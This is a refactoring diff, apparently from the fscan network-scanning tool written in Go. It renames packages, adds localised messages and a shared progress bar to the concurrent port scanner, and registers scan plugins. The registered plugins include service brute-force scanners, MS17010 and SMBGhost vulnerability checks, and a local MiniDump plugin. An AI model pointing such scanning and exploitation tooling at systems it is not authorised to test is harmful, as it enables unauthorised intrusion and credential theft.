if strings.Contains(result.Banner, "HTTP/") || if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") { strings.Contains(result.Banner, "html") {
Common.LogDebug("识别为HTTP服务") common.LogDebug("识别为HTTP服务")
result.Service.Name = "http" result.Service.Name = "http"
} else { } else {
Common.LogDebug("未知服务") common.LogDebug("未知服务")
result.Service.Name = "unknown" result.Service.Name = "unknown"
} }
} else { } else {
Common.LogDebug("使用软匹配结果") common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response) extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap() result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service result.Service.Name = softMatch.Service
i.Found = true i.Found = true
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name)) common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
} }
} }
@ -408,7 +408,7 @@ func (i *Info) Write(msg []byte) error {
if err != nil && strings.Contains(err.Error(), "close") { if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close() i.Conn.Close()
// 连接关闭时重试 - 支持SOCKS5代理 // 连接关闭时重试 - 支持SOCKS5代理
i.Conn, err = Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) i.Conn, err = common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil { if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg) _, err = i.Conn.Write(msg)

View File

@ -1,9 +1,12 @@
package Core package core
import ( import (
"context" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/common/parsers"
"golang.org/x/sync/errgroup" "golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore" "golang.org/x/sync/semaphore"
"strings" "strings"
@ -15,22 +18,38 @@ import (
// EnhancedPortScan 高性能端口扫描函数 // EnhancedPortScan 高性能端口扫描函数
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string { func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 解析端口和排除端口 // 解析端口和排除端口
portList := Common.ParsePort(ports) portList := parsers.ParsePort(ports)
if len(portList) == 0 { if len(portList) == 0 {
Common.LogError("无效端口: " + ports) common.LogError("无效端口: " + ports)
return nil return nil
} }
exclude := make(map[int]struct{}) exclude := make(map[int]struct{})
for _, p := range Common.ParsePort(Common.ExcludePorts) { for _, p := range parsers.ParsePort(common.ExcludePorts) {
exclude[p] = struct{}{} exclude[p] = struct{}{}
} }
// 计算总扫描数量
totalTasks := 0
for range hosts {
for _, port := range portList {
if _, excluded := exclude[port]; !excluded {
totalTasks++
}
}
}
// 初始化端口扫描进度条
if totalTasks > 0 && common.ShowProgress {
description := i18n.GetText("progress_port_scanning")
common.InitProgressBar(int64(totalTasks), description)
}
// 初始化并发控制 // 初始化并发控制
ctx, cancel := context.WithCancel(context.Background()) ctx, cancel := context.WithCancel(context.Background())
defer cancel() defer cancel()
to := time.Duration(timeout) * time.Second to := time.Duration(timeout) * time.Second
sem := semaphore.NewWeighted(int64(Common.ThreadNum)) sem := semaphore.NewWeighted(int64(common.ThreadNum))
var count int64 var count int64
var aliveMap sync.Map var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx) g, ctx := errgroup.WithContext(ctx)
@ -50,10 +69,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
} }
g.Go(func() error { g.Go(func() error {
defer sem.Release(1) defer func() {
sem.Release(1)
// 更新端口扫描进度
common.UpdateProgressBar(1)
}()
// 连接测试 - 支持SOCKS5代理 // 连接测试 - 支持SOCKS5代理
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, to) conn, err := common.WrapperTcpWithTimeout("tcp", addr, to)
if err != nil { if err != nil {
return nil return nil
} }
@ -62,14 +85,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 记录开放端口 // 记录开放端口
atomic.AddInt64(&count, 1) atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{}) aliveMap.Store(addr, struct{}{})
Common.LogInfo("端口开放 " + addr) common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{ common.SaveResult(&output.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host, Time: time.Now(), Type: output.TypePort, Target: host,
Status: "open", Details: map[string]interface{}{"port": port}, Status: "open", Details: map[string]interface{}{"port": port},
}) })
// 服务识别 // 服务识别
if Common.EnableFingerprint { if common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil { if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情 // 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name} details := map[string]interface{}{"port": port, "service": info.Name}
@ -94,8 +117,8 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
} }
// 保存服务结果 // 保存服务结果
Common.SaveResult(&Common.ScanResult{ common.SaveResult(&output.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host, Time: time.Now(), Type: output.TypeService, Target: host,
Status: "identified", Details: details, Status: "identified", Details: details,
}) })
@ -127,7 +150,7 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]") sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
} }
Common.LogInfo(sb.String()) common.LogInfo(sb.String())
} }
} }
@ -145,6 +168,12 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
return true return true
}) })
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count)) // 完成端口扫描进度条
if common.IsProgressActive() {
common.FinishProgressBar()
}
common.LogBase(i18n.GetText("scan_complete_ports_found", count))
return aliveAddrs return aliveAddrs
} }

View File

@ -1,8 +1,9 @@
package Core package core
import ( import (
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/common/parsers"
"github.com/shadow1ng/fscan/plugins"
"sort" "sort"
) )
@ -11,277 +12,277 @@ import (
func init() { func init() {
// 1. 标准网络服务扫描插件 // 1. 标准网络服务扫描插件
// 文件传输和远程访问服务 // 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{ common.RegisterPlugin("ftp", common.ScanPlugin{
Name: "FTP", Name: "FTP",
Ports: []int{21}, Ports: []int{21},
ScanFunc: Plugins.FtpScan, ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("ssh", Common.ScanPlugin{ common.RegisterPlugin("ssh", common.ScanPlugin{
Name: "SSH", Name: "SSH",
Ports: []int{22, 2222}, Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan, ScanFunc: Plugins.SshScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("telnet", Common.ScanPlugin{ common.RegisterPlugin("telnet", common.ScanPlugin{
Name: "Telnet", Name: "Telnet",
Ports: []int{23}, Ports: []int{23},
ScanFunc: Plugins.TelnetScan, ScanFunc: Plugins.TelnetScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// Windows网络服务 // Windows网络服务
Common.RegisterPlugin("findnet", Common.ScanPlugin{ common.RegisterPlugin("findnet", common.ScanPlugin{
Name: "FindNet", Name: "FindNet",
Ports: []int{135}, Ports: []int{135},
ScanFunc: Plugins.Findnet, ScanFunc: Plugins.Findnet,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("netbios", Common.ScanPlugin{ common.RegisterPlugin("netbios", common.ScanPlugin{
Name: "NetBIOS", Name: "NetBIOS",
Ports: []int{139}, Ports: []int{139},
ScanFunc: Plugins.NetBIOS, ScanFunc: Plugins.NetBIOS,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("smb", Common.ScanPlugin{ common.RegisterPlugin("smb", common.ScanPlugin{
Name: "SMB", Name: "SMB",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbScan, ScanFunc: Plugins.SmbScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 数据库服务 // 数据库服务
Common.RegisterPlugin("mssql", Common.ScanPlugin{ common.RegisterPlugin("mssql", common.ScanPlugin{
Name: "MSSQL", Name: "MSSQL",
Ports: []int{1433, 1434}, Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan, ScanFunc: Plugins.MssqlScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("oracle", Common.ScanPlugin{ common.RegisterPlugin("oracle", common.ScanPlugin{
Name: "Oracle", Name: "Oracle",
Ports: []int{1521, 1522, 1526}, Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan, ScanFunc: Plugins.OracleScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("mysql", Common.ScanPlugin{ common.RegisterPlugin("mysql", common.ScanPlugin{
Name: "MySQL", Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306}, Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan, ScanFunc: Plugins.MysqlScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 中间件和消息队列服务 // 中间件和消息队列服务
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{ common.RegisterPlugin("elasticsearch", common.ScanPlugin{
Name: "Elasticsearch", Name: "Elasticsearch",
Ports: []int{9200, 9300}, Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan, ScanFunc: Plugins.ElasticScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{ common.RegisterPlugin("rabbitmq", common.ScanPlugin{
Name: "RabbitMQ", Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671}, Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan, ScanFunc: Plugins.RabbitMQScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("kafka", Common.ScanPlugin{ common.RegisterPlugin("kafka", common.ScanPlugin{
Name: "Kafka", Name: "Kafka",
Ports: []int{9092, 9093}, Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan, ScanFunc: Plugins.KafkaScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("activemq", Common.ScanPlugin{ common.RegisterPlugin("activemq", common.ScanPlugin{
Name: "ActiveMQ", Name: "ActiveMQ",
Ports: []int{61613}, Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan, ScanFunc: Plugins.ActiveMQScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 目录和认证服务 // 目录和认证服务
Common.RegisterPlugin("ldap", Common.ScanPlugin{ common.RegisterPlugin("ldap", common.ScanPlugin{
Name: "LDAP", Name: "LDAP",
Ports: []int{389, 636}, Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan, ScanFunc: Plugins.LDAPScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 邮件服务 // 邮件服务
Common.RegisterPlugin("smtp", Common.ScanPlugin{ common.RegisterPlugin("smtp", common.ScanPlugin{
Name: "SMTP", Name: "SMTP",
Ports: []int{25, 465, 587}, Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan, ScanFunc: Plugins.SmtpScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("imap", Common.ScanPlugin{ common.RegisterPlugin("imap", common.ScanPlugin{
Name: "IMAP", Name: "IMAP",
Ports: []int{143, 993}, Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan, ScanFunc: Plugins.IMAPScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("pop3", Common.ScanPlugin{ common.RegisterPlugin("pop3", common.ScanPlugin{
Name: "POP3", Name: "POP3",
Ports: []int{110, 995}, Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan, ScanFunc: Plugins.POP3Scan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 网络管理和监控服务 // 网络管理和监控服务
Common.RegisterPlugin("snmp", Common.ScanPlugin{ common.RegisterPlugin("snmp", common.ScanPlugin{
Name: "SNMP", Name: "SNMP",
Ports: []int{161, 162}, Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan, ScanFunc: Plugins.SNMPScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("modbus", Common.ScanPlugin{ common.RegisterPlugin("modbus", common.ScanPlugin{
Name: "Modbus", Name: "Modbus",
Ports: []int{502, 5020}, Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan, ScanFunc: Plugins.ModbusScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 数据同步和备份服务 // 数据同步和备份服务
Common.RegisterPlugin("rsync", Common.ScanPlugin{ common.RegisterPlugin("rsync", common.ScanPlugin{
Name: "Rsync", Name: "Rsync",
Ports: []int{873}, Ports: []int{873},
ScanFunc: Plugins.RsyncScan, ScanFunc: Plugins.RsyncScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// NoSQL数据库 // NoSQL数据库
Common.RegisterPlugin("cassandra", Common.ScanPlugin{ common.RegisterPlugin("cassandra", common.ScanPlugin{
Name: "Cassandra", Name: "Cassandra",
Ports: []int{9042}, Ports: []int{9042},
ScanFunc: Plugins.CassandraScan, ScanFunc: Plugins.CassandraScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("neo4j", Common.ScanPlugin{ common.RegisterPlugin("neo4j", common.ScanPlugin{
Name: "Neo4j", Name: "Neo4j",
Ports: []int{7687}, Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan, ScanFunc: Plugins.Neo4jScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 远程桌面和显示服务 // 远程桌面和显示服务
Common.RegisterPlugin("rdp", Common.ScanPlugin{ common.RegisterPlugin("rdp", common.ScanPlugin{
Name: "RDP", Name: "RDP",
Ports: []int{3389, 13389, 33389}, Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan, ScanFunc: Plugins.RdpScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("postgres", Common.ScanPlugin{ common.RegisterPlugin("postgres", common.ScanPlugin{
Name: "PostgreSQL", Name: "PostgreSQL",
Ports: []int{5432, 5433}, Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan, ScanFunc: Plugins.PostgresScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("vnc", Common.ScanPlugin{ common.RegisterPlugin("vnc", common.ScanPlugin{
Name: "VNC", Name: "VNC",
Ports: []int{5900, 5901, 5902}, Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan, ScanFunc: Plugins.VncScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 缓存和键值存储服务 // 缓存和键值存储服务
Common.RegisterPlugin("redis", Common.ScanPlugin{ common.RegisterPlugin("redis", common.ScanPlugin{
Name: "Redis", Name: "Redis",
Ports: []int{6379, 6380, 16379}, Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan, ScanFunc: Plugins.RedisScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("memcached", Common.ScanPlugin{ common.RegisterPlugin("memcached", common.ScanPlugin{
Name: "Memcached", Name: "Memcached",
Ports: []int{11211}, Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan, ScanFunc: Plugins.MemcachedScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("mongodb", Common.ScanPlugin{ common.RegisterPlugin("mongodb", common.ScanPlugin{
Name: "MongoDB", Name: "MongoDB",
Ports: []int{27017, 27018}, Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan, ScanFunc: Plugins.MongodbScan,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 2. 特殊漏洞扫描插件 // 2. 特殊漏洞扫描插件
Common.RegisterPlugin("ms17010", Common.ScanPlugin{ common.RegisterPlugin("ms17010", common.ScanPlugin{
Name: "MS17010", Name: "MS17010",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.MS17010, ScanFunc: Plugins.MS17010,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
Common.RegisterPlugin("smbghost", Common.ScanPlugin{ common.RegisterPlugin("smbghost", common.ScanPlugin{
Name: "SMBGhost", Name: "SMBGhost",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbGhost, ScanFunc: Plugins.SmbGhost,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 3. Web应用扫描插件 // 3. Web应用扫描插件
Common.RegisterPlugin("webtitle", Common.ScanPlugin{ common.RegisterPlugin("webtitle", common.ScanPlugin{
Name: "WebTitle", Name: "WebTitle",
Ports: Common.ParsePortsFromString(Common.WebPorts), Ports: parsers.ParsePortsFromString(common.WebPorts),
ScanFunc: Plugins.WebTitle, ScanFunc: Plugins.WebTitle,
Types: []string{Common.PluginTypeWeb}, Types: []string{common.PluginTypeWeb},
}) })
Common.RegisterPlugin("webpoc", Common.ScanPlugin{ common.RegisterPlugin("webpoc", common.ScanPlugin{
Name: "WebPoc", Name: "WebPoc",
Ports: Common.ParsePortsFromString(Common.WebPorts), Ports: parsers.ParsePortsFromString(common.WebPorts),
ScanFunc: Plugins.WebPoc, ScanFunc: Plugins.WebPoc,
Types: []string{Common.PluginTypeWeb}, Types: []string{common.PluginTypeWeb},
}) })
// 4. Windows系统专用插件 // 4. Windows系统专用插件
Common.RegisterPlugin("smb2", Common.ScanPlugin{ common.RegisterPlugin("smb2", common.ScanPlugin{
Name: "SMBScan2", Name: "SMBScan2",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbScan2, ScanFunc: Plugins.SmbScan2,
Types: []string{Common.PluginTypeService}, Types: []string{common.PluginTypeService},
}) })
// 5. 本地信息收集插件 // 5. 本地信息收集插件
Common.RegisterPlugin("localinfo", Common.ScanPlugin{ common.RegisterPlugin("localinfo", common.ScanPlugin{
Name: "LocalInfo", Name: "LocalInfo",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.LocalInfoScan, ScanFunc: Plugins.LocalInfoScan,
Types: []string{Common.PluginTypeLocal}, Types: []string{common.PluginTypeLocal},
}) })
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{ common.RegisterPlugin("dcinfo", common.ScanPlugin{
Name: "DCInfo", Name: "DCInfo",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.DCInfoScan, ScanFunc: Plugins.DCInfoScan,
Types: []string{Common.PluginTypeLocal}, Types: []string{common.PluginTypeLocal},
}) })
Common.RegisterPlugin("minidump", Common.ScanPlugin{ common.RegisterPlugin("minidump", common.ScanPlugin{
Name: "MiniDump", Name: "MiniDump",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.MiniDump, ScanFunc: Plugins.MiniDump,
Types: []string{Common.PluginTypeLocal}, Types: []string{common.PluginTypeLocal},
}) })
} }
// GetAllPlugins 返回所有已注册插件的名称列表 // GetAllPlugins 返回所有已注册插件的名称列表
func GetAllPlugins() []string { func GetAllPlugins() []string {
pluginNames := make([]string, 0, len(Common.PluginManager)) pluginNames := make([]string, 0, len(common.PluginManager))
for name := range Common.PluginManager { for name := range common.PluginManager {
pluginNames = append(pluginNames, name) pluginNames = append(pluginNames, name)
} }
sort.Strings(pluginNames) sort.Strings(pluginNames)

View File

@ -1,10 +1,10 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/schollz/progressbar/v3" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/webscan/lib"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
@ -15,7 +15,7 @@ import (
// ScanTask 表示单个扫描任务 // ScanTask 表示单个扫描任务
type ScanTask struct { type ScanTask struct {
pluginName string // 插件名称 pluginName string // 插件名称
target Common.HostInfo // 目标信息 target common.HostInfo // 目标信息
} }
// ScanStrategy 定义扫描策略接口 // ScanStrategy 定义扫描策略接口
@ -25,15 +25,15 @@ type ScanStrategy interface {
Description() string Description() string
// 执行扫描的主要方法 // 执行扫描的主要方法
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
// 插件管理方法 // 插件管理方法
GetPlugins() ([]string, bool) GetPlugins() ([]string, bool)
LogPluginInfo() LogPluginInfo()
// 任务准备方法 // 任务准备方法
PrepareTargets(info Common.HostInfo) []Common.HostInfo PrepareTargets(info common.HostInfo) []common.HostInfo
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
} }
// Scanner 扫描器结构体 // Scanner 扫描器结构体
@ -42,34 +42,34 @@ type Scanner struct {
} }
// NewScanner 创建新的扫描器并选择合适的策略 // NewScanner 创建新的扫描器并选择合适的策略
func NewScanner(info Common.HostInfo) *Scanner { func NewScanner(info common.HostInfo) *Scanner {
scanner := &Scanner{} scanner := &Scanner{}
scanner.selectStrategy(info) scanner.selectStrategy(info)
return scanner return scanner
} }
// selectStrategy 根据扫描配置选择适当的扫描策略 // selectStrategy 根据扫描配置选择适当的扫描策略
func (s *Scanner) selectStrategy(info Common.HostInfo) { func (s *Scanner) selectStrategy(info common.HostInfo) {
switch { switch {
case Common.LocalMode: case common.LocalMode:
s.strategy = NewLocalScanStrategy() s.strategy = NewLocalScanStrategy()
Common.LogBase("已选择本地扫描模式") common.LogBase("已选择本地扫描模式")
case len(Common.URLs) > 0: case len(common.URLs) > 0:
s.strategy = NewWebScanStrategy() s.strategy = NewWebScanStrategy()
Common.LogBase("已选择Web扫描模式") common.LogBase("已选择Web扫描模式")
default: default:
s.strategy = NewServiceScanStrategy() s.strategy = NewServiceScanStrategy()
Common.LogBase("已选择服务扫描模式") common.LogBase(i18n.GetText("scan_mode_service_selected"))
} }
} }
// Scan 执行整体扫描流程 // Scan 执行整体扫描流程
func (s *Scanner) Scan(info Common.HostInfo) { func (s *Scanner) Scan(info common.HostInfo) {
Common.LogBase("开始信息扫描") common.LogBase(i18n.GetText("scan_info_start"))
lib.Inithttp() lib.Inithttp()
// 并发控制初始化 // 并发控制初始化
ch := make(chan struct{}, Common.ThreadNum) ch := make(chan struct{}, common.ThreadNum)
wg := sync.WaitGroup{} wg := sync.WaitGroup{}
// 执行策略 // 执行策略
@ -82,15 +82,17 @@ func (s *Scanner) Scan(info Common.HostInfo) {
// finishScan 完成扫描并输出结果 // finishScan 完成扫描并输出结果
func (s *Scanner) finishScan() { func (s *Scanner) finishScan() {
if Common.ProgressBar != nil { // 确保进度条正确完成
Common.ProgressBar.Finish() if common.IsProgressActive() {
fmt.Println() common.FinishProgressBar()
} }
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
// 输出扫描完成信息
common.LogBase(i18n.GetText("scan_task_complete", common.End, common.Num))
} }
// 任务执行通用框架 // 任务执行通用框架
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) { func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取要执行的插件 // 获取要执行的插件
pluginsToRun, isCustomMode := strategy.GetPlugins() pluginsToRun, isCustomMode := strategy.GetPlugins()
@ -98,13 +100,14 @@ func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy) tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 输出扫描计划 // 输出扫描计划
if Common.ShowScanPlan && len(tasks) > 0 { if common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks) logScanPlan(tasks)
} }
// 初始化进度条 // 初始化进度条
if len(tasks) > 0 && Common.ShowProgress { if len(tasks) > 0 && common.ShowProgress {
initProgressBar(len(tasks)) description := i18n.GetText("progress_scanning_description")
common.InitProgressBar(int64(len(tasks)), description)
} }
// 执行所有任务 // 执行所有任务
@ -114,7 +117,7 @@ func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan
} }
// 准备扫描任务列表 // 准备扫描任务列表
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask { func prepareScanTasks(targets []common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
var tasks []ScanTask var tasks []ScanTask
for _, target := range targets { for _, target := range targets {
@ -124,7 +127,7 @@ func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustom
} }
for _, pluginName := range pluginsToRun { for _, pluginName := range pluginsToRun {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := common.PluginManager[pluginName]
if !exists { if !exists {
continue continue
} }
@ -158,31 +161,11 @@ func logScanPlan(tasks []ScanTask) {
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count)) planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
} }
Common.LogBase(planInfo.String()) common.LogBase(planInfo.String())
}
// 初始化进度条
func initProgressBar(totalTasks int) {
Common.ProgressBar = progressbar.NewOptions(totalTasks,
progressbar.OptionEnableColorCodes(true),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
progressbar.OptionSetTheme(progressbar.Theme{
Saucer: "[green]=[reset]",
SaucerHead: "[green]>[reset]",
SaucerPadding: " ",
BarStart: "[",
BarEnd: "]",
}),
progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
} }
// 调度单个扫描任务 // 调度单个扫描任务
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
wg.Add(1) wg.Add(1)
*ch <- struct{}{} // 获取并发槽位 *ch <- struct{}{} // 获取并发槽位
@ -192,14 +175,14 @@ func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct
defer func() { defer func() {
// 捕获并记录任何可能的panic // 捕获并记录任何可能的panic
if r := recover(); r != nil { if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v", common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
pluginName, target.Host, target.Ports, r)) pluginName, target.Host, target.Ports, r))
} }
// 完成任务,释放资源 // 完成任务,释放资源
duration := time.Since(startTime) duration := time.Since(startTime)
if Common.ShowScanPlan { if common.ShowScanPlan {
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)", common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds())) pluginName, target.Host, target.Ports, duration.Seconds()))
} }
@ -207,40 +190,28 @@ func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct
<-*ch // 释放并发槽位 <-*ch // 释放并发槽位
}() }()
atomic.AddInt64(&Common.Num, 1) atomic.AddInt64(&common.Num, 1)
executeSingleScan(pluginName, target) executeSingleScan(pluginName, target)
updateProgress() common.UpdateProgressBar(1)
}() }()
} }
// 执行单个扫描 // 执行单个扫描
func executeSingleScan(pluginName string, info Common.HostInfo) { func executeSingleScan(pluginName string, info common.HostInfo) {
plugin, exists := Common.PluginManager[pluginName] plugin, exists := common.PluginManager[pluginName]
if !exists { if !exists {
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName)) common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
return return
} }
if err := plugin.ScanFunc(&info); err != nil { if err := plugin.ScanFunc(&info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
} }
} }
// 更新扫描进度
func updateProgress() {
Common.OutputMutex.Lock()
defer Common.OutputMutex.Unlock()
atomic.AddInt64(&Common.End, 1)
if Common.ProgressBar != nil {
